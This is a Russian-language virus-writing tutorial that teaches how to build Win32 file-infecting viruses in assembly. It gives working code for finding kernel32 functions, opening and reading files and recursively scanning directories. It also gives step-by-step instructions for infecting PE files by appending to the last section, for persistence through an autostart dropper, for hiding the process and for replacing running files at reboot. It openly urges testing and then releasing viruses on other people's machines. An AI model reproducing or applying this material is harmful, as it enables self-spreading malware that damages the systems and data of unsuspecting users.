|
Версия 1.00
Этот текст предназначается для тех, кто уже освоил ассемблер и вирусы
под DOS, а теперь начал разбираться и с более интересной и перспективной
платформой.
1. Что потребуется
2. Отладка и тестирование
3. Отладчики
4. Организация памяти в win32 -- введение
5. PE-файлы
6. Вызов кернеловских функций
7. Работа с файлами
8. Заражение PE-файлов
9. Поиск файлов
10. Резидентность (ring-3)
1. Что потребуется
~~~~~~~~~~~~~~~~~~
Итак, вы возжелали написать вирус под win32, и непременно на ассемблере.
Это правильное решение, учитывая то, что не умея писать вирусы на
ассемблере, совершенно нереально писать хорошие вирусы/черви на C/C++.
Но, ассемблер -- штука сложная, и там, где на C++ надо
пять-десять строк и две минуты -- без последующей отладки,
на ассемблере надо сто строк и пол-часа -- и еще пол-часа на отладку.
Так что от вас потребуется большое желание писать вирусы,
ну и несколько месяцев времени.
Итак, вы должны слегка знать 32-битный ассемблер --
тот, в котором EAX'ы вместо AX'ов.
Перейти сразу с 16-битного асма на 32-битный -- НЕ ПОЛУЧИТСЯ,
а тем более сделать это параллельно с изучением вирусов под win32.
На компьютере, где вы работаете с этим текстом,
потребуется следующий софт:
- Windows 95/98/NT/2000 (рекомендую Win98)
- 32-битный ассемблер TASM 5.0
необходимы файлы:
tasm32.exe, tlink32.exe, import32.lib, *.inc
- отладчик Soft-ICE под Windows (например Soft-Ice 4.00)
сдесь следует проявить настойчивость, и, если айс глючит, то
1. найти более новый/старый айс
2. попробовать другие винды
3. поменять железо
- удобная файловая оболочка и текстовый редактор
Необходимо добиться, чтобы компиляция файла достигалась нажатием
не более одной-двух клавиш.
Тут я рекомендую Dos Navigator, некоторые пользуют Far+MultiEdit.
- нужно, но не необходимо
HIEW
IDA Pro
- _НИКАКИХ_ (выкинуть в помойку):
TurboDebugger, Norton/Volkov Commander, HyperTerminal, etc.
Кроме этого, потребуется такая документация, как:
- WIN32.HLP -- жизненно необходимо;
занимает около 12 MB, я взял из в Borland C++,
есть также в бормановском билдере, наверное есть в SDK
ФИШКА:
параметры всех функций описанных для C-вызовов,
на асме надо PUSH-ить в ОБРАТНОМ порядке
- DDPR.HLP -- необходимо для win9X ring-0/VxD
есть в DDK
- лучше чтоб были SDK и DDK
это такие здоровые архивы с доками, инклюдниками и прочим стаффом,
для написания простых аппликух и драйверов соответственно
2. Отладка и тестирование
~~~~~~~~~~~~~~~~~~~~~~~~~
Поговорим от том, как наиболее эффективно производить отладку
и тестирование вирусов, независимо от их написания.
Задача:
1. Взять какой-нибудь простой ЧУЖОЙ win32-вирус в исходниках
рекомендую любой из in-the-wild вирусов (получивших распространение)
2. Откомпилировать, запустить и размножить
3. Пройтись по нему отладчиком
4. Вернуть машину в исходное состояние (убрать вирус)
5. Сделать это за минимальный срок
Научившись проделывать подобное, вы получите необходимый опыт,
который поможет в написании и отладке уже своих вирусов.
В общем-то это ваше домашнее задание, и лучше чтобы вы так поигрались
не с одним, а с двумя-тремя разными вирусами.
Всего есть четыре последовательных уровня отладки готового кода:
1. Тестирование свеженаписанного куска кода -- отдельно от вируса
2. Отладка новой модификации вируса (после добавления свеженаписанного кода)
-- на своей машине; в целях безопасности --
измените все используемые расширения с .EXE
(и/или сигнатуры с PE00) на что-нибудь другое,
как в вирусе так и у файлов-жертв
3. Отладка полностью работающего вируса -- на своей машине
-- для этого требуется:
1. создать на винте отдельный раздел
2. сделать две версии таблицы разделов в MBR'е, таких,
чтобы при основном MBR'е были видны все разделы,
а при "вирусном" MBR'е работал только "вирусный" раздел
3. Написать пару программок прописывающих эти MBR'ы на винт
4. Загрузиться с "вирусного" раздела и установить на нем
восстанавливалку оригинального MBR'а, винды, софт-айс,
ну и что там еще понадобится
5. Загрузиться с нормального раздела и заархивировать весь
вирусный раздел в один файл
6. Написать .BAT-файл, форматирующий (стирающий) вирусный
раздел и распаковывающий туда весь запакованный стафф
(установленные винды, айс, и т.п.)
7. Сделать дискету, на нее записать программу, восстанавливающую
оригинальный MBR
-- В результате для тестирования вируса потребуется:
1. запустить BAT файл и через 5 мин у вас будет готовый к
тестированию раздел
2. записать на "вирусный" раздел подлежащий тестированию вирус
3. запустить программку, прописывающую "вирусный" MBR на винт
4. перезагрузиться
5. размножить/отладить вирус на "вирусном" разделе
6. прописать нормальный MBR обратно (другая програмка)
7. перезагрузиться в "нормальный" раздел
-- все технические приготовления для одного такого тестирования должны
занимать не более 5-10 минут; иначе это будет неэффективно.
Конечно, можно тестировать вирус и на "своем" разделе, а потом
либо написать свой собственный антивирус либо переставить винды;
можно таким же образом восстанавливать "свои" винды.
4. Отладка полностью работающего вируса на чужой машине --
-- этот этап предшествует выпуску вируса вируса в жизнь, но отличается
от него тем, что за машиной будет живой юзер и потом вы сможете
узнать о результате (не от юзера, естественно)
3. Отладчики
~~~~~~~~~~~~
Единственный отладчик, который потребуется -- это Soft-Ice.
Основные команды в нем почти те же самые, что и в досовском DEBUG.EXE,
который обязан знать каждый.
На любую комбинацию команд можно назначить хоткей.
Просмотреть в айсе команды можно написав в командной строке h (или help),
можно также использовать ? в DEBUG.EXE -- это более понятно.
4. Организация памяти в win32 -- введение
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Всего рассказать не смогу, ибо не знаю;
поэтому для начала просмотрите все доки, которые у вас есть на эту тему.
Рекомендую взять описание какого-нибудь процессора (386,486,586),
там будут главы посвященные организации памяти. Лучше нет ничего.
Итак, win32 -- мультизадачная система, и в ней живут много процессов
(программ). И каждый процесс находится в своем собственном 32-битном
виртуальном_адресном_пространстве.
32-битное значит, что всего в этом пространстве 2^32 байт, или 4 гига.
По сути виртуальное_адресное_пространство представляет из себя
набор 4-килобайтных страниц обычной (физической) памяти,
"отображенных" в самые разные "виртуальные" адреса (кратные 4-м килобайтам),
от 0 до 0xFFFFF000.
Те места, куда ничего "не отображено" -- "пустые" (их большинство),
при чтении/записи возникает ошибка.
физ.память, виртуальная память,
пусть будет 16 MB 4 гига
4k ______________________> 4k выделено, подгружено(==в физ. памяти)
4k свободно :::::: пусто
> 4k
4k | выделено, выгружено(==в свопе)
| ::::::
:::::: | :::::: пусто (==не выделено)
файл на харде | ::::::
(своп), дохуя MB | 4k выделено, но еще не было доступа
4k _____________________|
::::::
:::::: ::::::
Все 4-килобайтные страницы в 4-гигабайтном пространстве могут быть
ВЫДЕЛЕНЫ (allocate), и тогда соответствующим диапазонам виртуальных адресов
будет соответствовать физическая память, на харде или в памяти.
Страницы могут быть ОСВОБОЖДЕНЫ (free, deallocate), и тогда информация об
отображении теряется, а физическая память "освобождается", то есть
становится СВОБОДНОЙ для последующего использования.
Выделенные страницы могут быть ПОДГРУЖЕНЫ (commit, lock), тогда они будут
"зафиксированы", т.е. окажутся где-то в реальной физической памяти.
Подгруженные страницы могут быть ВЫГРУЖЕНЫ (decommit, unlock),
и тогда физическая память освободится, а данные из нее будут временно
сброшены на диск в своп (swap-file).
Реальная физическая память выделяется не при выделении страниц, а при
первом к ним доступе.
Подгрузка и выгрузка выделенных страниц (swapping) осуществляется
автоматически, "прозрачно", то есть прикладному программеру не надо знать,
где сейчас находится та или иная страница -- на диске или в памяти.
То, что показано на рисунке (справа) -- это
виртуальное_адресное_пространство одного процесса,
а раз процессов таких много,
то и виртуальных_адресных_пространств тоже много.
Информация об отображении реальной памяти в виртуальную
(одного виртуального_адресного_пространства),
вместе со всеми данными хранящимися в этой памяти называется КОНТЕКСТом.
И говорят, что каждый процесс существует в определенном контексте.
В контексте каждого процесса находятся код/данные самого процесса,
стэки, хеап (heap), код/данные ядра системы, используемые
процессом библиотеки (DLL) и прочяя хрень.
Представьте себе тетрадь в клетку, на каждом из листов что-то нарисовано.
Клеточки -- это страницы памяти по 4k. Листы бумаги -- это контексты,
или виртуальные_адресные_пространства.
Благодаря множественности контекстов, разные программы могут существовать
в разных контекстах по одним и тем же виртуальным адресам.
Что где в памяти находится:
смещение
0x00000000 Первый мег -- DOS V86-задача,
под win9X частично можно читать/писать.
0x00200000 Три мега -- всякая хрень, вроде бы нечего там делать.
0x00400000 2044 мега пользовательской памяти, в ней живет процесс
и все его DLL-ки, стэки, хеапы, короче все юзерское дерьмо.
0x80000000 2 гига -- системная память, kernel, ядро нулевого кольца,
под win9X -- еще и VxD-драйвера
Самая главная фишка.
Заключается в том, что для каждой страницы существует так называемый
уровень доступа.
В win32 всего два уровня защиты: ring-3 (юзер) и ring-0 (ядро).
Находясь в ring-0 свершенно наплевать какой уровень доступа у какой
страницы -- все их (подгруженные) можно без проблем читать и писать.
А вот для ring-3 есть несколько вариантов:
1. страницы для чтения и записи (read-write)
2. страницы только для чтения (read-only)
3. хуй (ни читать ни писать в такие страницы нельзя)
4. комбинации вышеперчисленных с испольнябельностью (executable),
а также guard, writecopy и еще хер знает что --
скорее всего ничего их этого вам не встретится.
Идея в том, что кодовые страницы в системе помечаются как read-only,
и поэтому их можно исполнять и читать, а вот писать в них нельзя.
Это в основном страницы кода в kernel'е и в ваших PE-файлах.
Проблема с PE-файлами решается добавленим нужного бита в ObjectTable
при заражении файла, либо через VirtualProtect/WriteProcessMemory;
проблема с kernel'ами и системными хернями решается
(под маздаем) несколько более хитрыми приемами.
5. PE-файлы
~~~~~~~~~~~
PE (Portable Executable) -- это такой формат,
в котором представлены практически все win32 EXE и DLL файлы.
Поэтому с этим форматом мы и будем работать.
Прежде всего, рассчитаны PE EXE/DLL файлы на работу в третьем кольце,
через KERNEL32.DLL и прочие библиотеки.
KERNEL32.DLL и другие библиотеки ЭКПОРТИРУЮТ (отдают) другим PE файлам
кучу процедур, которые по существу и есть win32 api.
Обычные PE файлы ИМПОРТИРУЮТ (принимают) из KERNEL'а и других DLL-ек часть
функций, и через них общаются с системой.
А сам KERNEL32.DLL и прочие работают уже с нулевым кольцом (больше 2-х гиг),
где и происходит основная часть всех действий.
Происходит все это так: в
каждом PE файле есть структуры импорта и/или экспорта
(хотя их там может и не быть), в которых записаны примерно такие вещи:
импорт: я, MAZAFUK.EXE, импортирую из KERNEL32.DLL функцию DeleteFile.
экспорт: я, KERNEL32.DLL, экспортирую функцию DeleteFile.
В результате при запуске MAZAFUK.EXE загрузчик обязан загрузить в
контекст этого процесса KERNEL32.DLL и все остальные требуемые DLL-ки,
а адреса импортируемых из них функций положить в специально
для этого отведенные в MAZAFUCK.EXE дворды.
Так что после загрузки, мазафак будет просто делать CALL'ы
по соответствующим двордам.
При написании PE-EXE файлов, ни о каких импортах/экспортах думать не надо,
эти занимается линкер (tlink32.exe).
Просто указываются следующие вещи:
extern DeleteFileA:PROC ; будет добавлено в импорт
call DeleteFileA ; вызвать импортируемую процедуру
public mazafuk ; будет добавлено в экспорт
mazafuk: ...
Вообще, нам ни импорт ни экспорт как таковые ненужны, потому что вирус
посредством линкера ничего не импортирует и не экспортирует, оно ему
просто не надо; вирус чаще всего находит адреса нужных ему процедур сам.
Рассмотрим PE-файл в памяти. (полное описание формата смотрите отдельно)
Файл этот состоит из следующих частей:
MZ-заголовок
PE-заголовок
таблица секций (==таблица объектов)
секции (несколько штук)
Секции файла -- это такие его участки, в которых хранятся код, данные,
ресурсы, и прочяя хрень.
Нужно понять, что в отличие от, скажем, dos'овского
COM файла, образ PE файлов в памяти не соответствует их образу на диске.
Хотя, в отличие от dos'овских EXE-файлов, все их заголовки
загружаются в память целиком.
Идея в том, что разные секции загружаются в виртуальную память не так,
как они хранятся на диске, то есть
виртуальные_адреса_секций_относительно_начала_файла_в_памяти (RVA)
не соответствуют
физическим_адресам_секций_относительно_начала_файла_на_диске.
Информация об этих несоответствиях и хранится в таблице секций.
В PE-заголовке есть поле ImageBase.
Оно выровнено на 64k, и указывает, начиная с какого
виртуального адреса файл должен быть загружен в память.
MZ-заголовок, PE-заголовок и таблица секций загружаются прямо по этому
адресу, как они есть.
Дальше -- хуже. В соответствии с таблицей секций,
под каждую секцию выделяется память чуть дальше заголовков,
но совсем не обязательно подряд.
То есть если в файле все секции лежат одна за другой,
то после загрузки в память между
секциями могут оказаться куски "неинициализированной" памяти,
за счет того, что в исходнике в конце любой секции
может быть к примеру написано: DB 1000 dup (?)
Исходя из этого, при работе с PE файлами для преобразования виртуального
адреса в физический и обратно, приходится писать специальные процедуры.
6. Вызов кернеловских функций
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Это хитрая фишка, и ее надо отлаживать ОТДЕЛЬНО от всего прочего.
Ваша задача: написать процедуру, которой на вход приходит имя
(или хэш имени) некоторой функции из KERNEL32.DLL,
а на выходе мы получаем адрес этой функции.
Путь лежит через два шага:
1. научиться получать адрес KERNEL32.DLL, и
2. производить анализ кернеловских экспортов
Адрес kernel'а во всех маздаях (win9x) суть BFF70000.
Под winNT этот адрес другой, и, вроде бы,
может быть разным в разных версиях.
Что касается адресов экспортируемых функций, то они разные в каждой версии
и маздая и NT'ей.
При получении управления в PE файл прямо из загрузчика, на стэке
лежит адрес возврата в загрузчик. В маздаях загрузчиком является
KERNEL32.DLL, поэтому сняв со стэка адрес можно узнать адрес
внутри kernel'а.
С другой стороны, делать этого не нужно, так как в маздаях кернел
фиксирован. Другое дело, winNT.
Там, сняв со стэка адрес возврата мы получаем
адрес какой-то там левой DLL-ки, далее выравниваем его на 64k и сканируем
вниз до MZ. Там смотрим в экспорт и проверяем, не kernel ли это.
Если не кернел, то анализируем уже ИМПОРТЫ, и только оттуда узнаем адрес
какой-нибудь кернеловской функции. (она там наверняка будет)
Как узнать адрес начала PE-файла зная ЛЮБОЙ виртуальный адрес внутри файла?
Поскольку
1. адрес загрузки PE файла выровнен на 64k,
2. практически всю память от начала файла и до конца выделенной
ему области можно читать
3. в самом начале файла лежит MZ-заголовок
то справедлив следующий алгоритм:
1. взять любой виртуальный адрес внутри файла
2. выровнять на 64k
3. если по адресу НЕ байты 'MZ', то вычесть из адреса 64k и повторить 3
Как анализировать kernel'овские экспорты?
В зависимости от свободного времени, желания, и возможностей,
есть такие пути:
Путь 1, наилучший:
Посмотреть формат PE файлов, ту его часть, где описаны экспорты,
и, получив адрес kernel'а, самому разобрать его таблицу экспортов и найти
адреса требуемых функций.
Путь 2, весьма отстойный:
Юзать директом следующий код:
; input: EDI=имя функции kernel'а (например 'CreateProcessA')
; output: ZF=1, EAX=0 (function not found)
; ZF=0, EAX=function va
get_proc_address: pusha
mov ebx, 0BFF70000h ; get_kernel_base
mov ecx, [ebx+3Ch] ; mz_neptr
mov ecx, [ecx+ebx+78h] ; pe_exporttablerva
jecxz __return_0
add ecx, ebx
xor esi, esi ; current index
__search_cycle: lea edx, [esi*4+ebx]
add edx, [ecx+20h] ; ex_namepointersrva
mov edx, [edx] ; name va
add edx, ebx ; +imagebase
push edi ; compare names
__cmp_cycle: mov al, [edx]
cmp al, [edi]
jne __cmp_done
or al, al
jz __cmp_done
inc edi
inc edx
jmp __cmp_cycle
__cmp_done: pop edi
je __name_found
inc esi ; index++
cmp esi, [ecx+18h] ; ex_numofnamepointers
jb __search_cycle
__return_0: xor eax, eax ; return 0
jmp __return
__name_found: mov edx, [ecx+24h] ; ex_ordinaltablerva
add edx, ebx ; +imagebase
movzx edx, word ptr [edx+esi*2]; edx=current ordinal
mov eax, [ecx+1Ch] ; ex_addresstablerva
add eax, ebx ; +imagebase
mov eax, [eax+edx*4]; eax=current address
add eax, ebx ; +imagebase
__return: mov [esp+7*4], eax ; popa.eax
popa
retn
Глюки тут бывают такие:
1. Если в программе вообще нет импортов, то -- вроде бы kernel подгружаться
не должен -- но kernel это специальная dll'ка, кояя загружена всегда;
взамен этого возникнут проблемы с вызовом кернеловских функций.
Ситуация 'нет импортов' возникает, например, когда во всем сорце
нет ни одной директивы EXTERN, а выход из файла происходит по RET'у.
(такое возможно)
2. Имена функций, иногда в зависимости от того, юзают ли они
в качестве параметров символьные строки (а не только числа),
могут кончаться на -A и на -W.
Постфикс -A (ascii) значит, что строки в ASCII формате,
то есть элементами строк являются БАЙТы, и кончаются они на 0.
Постфикс -W (wide) значит, что элементами строк являются ВОРДы,
это суть так называемые юникодные строки, а вообще это большая лажа,
та как некоторые такие функции кернелом не поддерживаются.
Функции эти (-A/-W) дублируются, то есть если есть одна, то скорее всего
есть и другая; более того, у них одинаковые параметры вызовов, а все
различия только в формате передаваемых им строк.
Бывает, имена функций имеют в конце -Ex, то есть кончаются на Ex, ExA и ExW.
Так вот, постфикс -Ex суть просто часть имени функции.
Такие функции по сравнению со своими упрощенными (без Ex)
вариантами, юзают большее (EXtended) число параметров, а могут упрощенных
вариантов и не иметь. Как правило, внутри "упрощенных" функций управление
передается на их -Ex - варианты.
Так вот, о чем там я.
Говно заключается в том, что в большинстве документаций описаны функции
типа CreateFile, а на самом деле такой функции в kernel'е НЕТУ.
А есть в кернеле две функции: CreateFileA и CreateFileW.
Просто доки расчитаны на C-шный компилятор, который сам разберется, какого
типа строки передаются этой функции, и добавит A или W соответственно.
Поэтому, перед тем как передавать в свою
процедуру_поиска_функций_в_кернеле имя какой-нибудь функции,
убедитесь (гляньте в kernel32.dll) что такая функция
там в точности существует.
7. Работа с файлами
~~~~~~~~~~~~~~~~~~~
Научившись получать из кернела функции, следует написать процедуры
для работы с файлами.
(открытие, получение длины, перемещение указателя, чтение/запись, закрытие)
А затем удостовериться, что они работают.
Что значит написать процедуры?
Не надо их писать, они уже есть в кернеле. Но то, как они вызываются,
оставляет желать лучшего, ибо им надо PUSH-ить кучу левых параметров.
Поэтому рекомендую оформить работу с файлами подобно следующему:
; action: open file for read-write access
; input: EDX=file name
; output: CF=0 -- EAX=handle
; CF=1 -- error
fopen_rw: pusha
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ + FILE_SHARE_WRITE
push GENERIC_READ + GENERIC_WRITE
push edx
call CreateFileA
cmp eax, -1
je error
clc
mov [esp+7*4], eax ; popa.eax
popa
retn
error: stc
popa
retn
Более подробно эти функции приведены на моей страничке в maplib4.zip
И еще одно. Некоторые любят использовать для работы с файлами макросы.
Макросы эти будут вставлять в вирус немерянные куски кода, PUSH-ащие
кучи нулей, и каждый такой макрос будет занимать байт по 30.
Так что для уменьшения длины вируса и упрощения его отладки
лучше юзать процедуры.
Пример считывания файла в память:
push 0
push 80h ; FILE_ATTRIBUTE_NORMAL
push 3 ; 3=OPEN_EXISTING 2=CREATE_ALWAYS
push 0
push 1+2 ; 1=FILE_SHARE_READ 2=FILE_SHARE_WRITE
push 080000000h+40000000h ; GENERIC_READ + GENERIC_WRITE
push offset FileName
call CreateFileA
cmp eax, -1
je __failed
xchg ebx, eax
push 0
push ebx ; handle
call GetFileSize
mov bufsize, eax
push eax ; size
push 0 ; 0=GMEM_FIXED
call GlobalAlloc
mov bufptr, eax
push 0
push offset bytesread ; bytesread
push bufsize ; size
push bufptr ; buf
push ebx ; handle
call ReadFile
push ebx ; handle
call CloseHandle
8. Заражение PE-файлов
~~~~~~~~~~~~~~~~~~~~~~
После того, как мы научились получать из кернела процедуры и
работать с файлами, нашей задачей является заразить какой-нибудь файл.
Заражать поначалу лучше командой INT 3, с последующей передачей управления
на оригинальную точку входа.
Наиболее простым и эффективным методом заражения PE файла является
добавление к его последней секции.
Для этого надо:
проверить физическую и виртуальную длину последней секции:
если физическая длина окажется больше виртуальной, не трогать такой файл;
также не трогайте файл если какая-либо из длин нулевая
старую точку входа сохранить внутрь вируса;
вычислить виртуальный адрес вируса в файле;
это будет
физический_адрес_конца_последней_секции транслированный_в_виртуальный;
добавив к нему VirusEntryPoint-VirusStart записать это дело в
RVA точки входа (внутри PE-заголовка)
по физическому_адресу_конца_последней_секции записать вирусный код
физическую и виртуальную длины вируса округлить по
FileAlignment и ObjectAlignment, взятым из PE-заголовка
физическую длину последней секции -- увеличить на физическую длину вируса
виртуальную длину последней секции -- увеличить на виртуальную длину вируса
поле SizeOfImage внутри PE-заголовка -- установить равным
виртуальному_адресу_начала_последней_секции +
виртуальной_длине_последней_секции
В принципе все.
Кроме всего описанного, надо еще проверять такие вещи,
как не оверлей ли это, не DLL-ка ли это и не нулевая ли точка входа,
Если в файле нет импортов -- не заражать.
Если в файле есть фиксапы, а вирус привязывается к imagebase -- не заражать.
На практике такое заражение проявляется как
1. считывание заголовков файла
2. их анализ
заражение:
3. изменение заголовков и настройка вируса
4. дописывание вируса к концу файла
5. запись измененных заголовков назад в начало файла
Убивать фиксапы можно только если это не DLL-ка;
привязываться к imagebase можно только если отсутствуют (убиты) фиксапы.
Переход на оригинальную точку входа рекомендуется делать
командой JMP (опкод 0xE9).
9. Поиск файлов
~~~~~~~~~~~~~~~
Теперь осталось только научиться искать новые файлы.
Опять же, это надо отлаживать отдельно.
Поиск осуществляется фукциями FindFirstFileA / FindNextFileA / FindClose.
Достаточно вставить нахождение пары файлов и их заражение в начало
нашей программы, и простейший win32-вирус готов.
Вот как примерно выглядит рекурсивная процедура поиска файлов в каталоге:
ff_struc struc ; win32 "searchrec" structure
ff_attr dd ?
ff_time_create dd ?,?
ff_time_lastaccess dd ?,?
ff_time_lastwrite dd ?,?
ff_size_hi dd ?
ff_size dd ?
dd ?,?
ff_fullname db 260 dup (?)
ff_shortname db 14 dup (?)
ends
; subroutine: process_directory
; action: 1. find all files in the current directory
; 2. for each found directory (except "."/"..") recursive call;
; for each found file call process_file
; input: EDI=ff_struc
; EDX=directory name
; output: none
process_directory: pusha
sub esp, 1024 ; место под имя директории
mov esi, edx ; в EDX имя диры
mov edi, esp ; свой буфер под имя
__1: lodsb ; копируем имя в свой буфер
stosb
or al, al
jnz __1
dec edi ; дира должна кончаться на '\'
mov al, '\'
cmp [edi-1], al
je __3
stosb
__3:
mov ebx, edi ; EBX = указатель на файл
mov eax, '*.*' ; ищем: дира\*.*
stosd
mov edi, [esp+1024] ; восстановим EDI
mov eax, esp
push edi ; ff_struc, будет заполнена
push eax ; имя файлов для поиска
call FindFirstFileA
xchg esi, eax ; ESI = хендл поиска
cmp esi, -1 ; че-нить найдено?
je __quit
__cycle: pusha ; добавляем имя файла к дире
lea esi, [edi].ff_fullname
mov edi, ebx
__strcpy: lodsb
stosb
or al, al
jnz __strcpy
popa
mov edx, esp ; EDX = полное найденное имя
test byte ptr [edi].ff_attr, 16 ; дира?
jnz __dir
call process_file ; обработать файл (EDX,EDI)
jmp __next
__dir: lea eax, [edi].ff_fullname
cmp byte ptr [eax], '.' ; skip ./../etc.
je __next
call process_directory ; рекурсивный вызов
__next: push edi ; ff_struc, будет заполнена
push esi ; хендл поиска
call FindNextFileA
or eax, eax ; есть файл?
jnz __cycle
push esi ; ESI = хендл поиска
call FindClose
__quit: add esp, 1024
popa
retn
; input: EDX=full filename
; EDI=ff_struc
process_file: pusha
; ...
popa
retn
10. Резидентность (ring-3)
~~~~~~~~~~~~~~~~~~~~~~~~~~
Резидентность, такая как в DOS'овых TSR-программах, в win32 отсутствует.
Это ясно из того, что система мультизадачная.
Достаточно скрыть программу в памяти, и она будет молча, никому не мешая,
работать, например искать и заражать новые файлы.
Наиболее простой и эффективный способ "резидентности":
Скопировать текущий файл в виндовую диру (GetWindowsDirectoryA, CopyFileA)
под именем DROPPER.EXE, и прописать в системых настройках этот дроппер
как выполняемый при загрузке.
Вообще их всего два, способа резидентности: установка дроппера либо
заражение какого-нибудь всегда загружаемого системного файла.
В противном случае нет гарантии,
что после перезагрузки мы получим управление.
Как скрыть прогу от менюхи по ctrl-alt-del?
Работает только в маздае;
в winNT такой функции как RegisterServiceProcess нет,
поэтому проверяйте, найдена ли она в экспортах.
push 1
push 0
call RegisterServiceProcess
Перечень запущенных процессов/модулей/нитей можно получить через
Process32First/Next, Module32First/Next, Thread32First/Next.
Поэтому на этих функциях можно делать стелс, впатчив кусок кода в кернел.
Да, как вы наверное уже знаете, запущенные программы в win32 нельзя
стереть/открыть на запись, а значит, и заразить.
Есть два способа обхода этого дела, для win9X и для winNT.
Под маздаем к %windir\wininit.ini дописываются 2 строчки:
[rename]
dstfile=srcfile
И заражается не открытый файл, а его копия, которая затем при перезагрузке
будет автоматом переименована в файл, а оригинальный файл стерт.
Указанную херь к файлу удобно дописывать функцией
WritePrivateProfileStringA.
Под winNT дважды используется ф-ция MoveFileExA с параметром
DELAY_UNTIL_REBOOT, первый раз чтоб стереть старый файл и второй раз для
переименования.
Нити.
Нить (thread) -- это сущность, более всего напонимающая некий виртуальный
процессор. В каждой нити -- свой набор регистров.
Ваш процессор последовательно их (регистры) перезагружает и по нескольку
долей секунды (кванты времени) работает то в одной то в другой нити.
В результате с точки зрения нити, она испольняется параллельно с остальными.
В каждом процессе есть как минимум одна нить -- основная.
Хотя кроме основной, можно создавать и другие, используя CreateThread.
Единственно и только с помощью CreateThread можно работать в адресном
пространстве процесса параллельно с самим процессом.
win32vx.zip - Пример вируса к статье.
|
|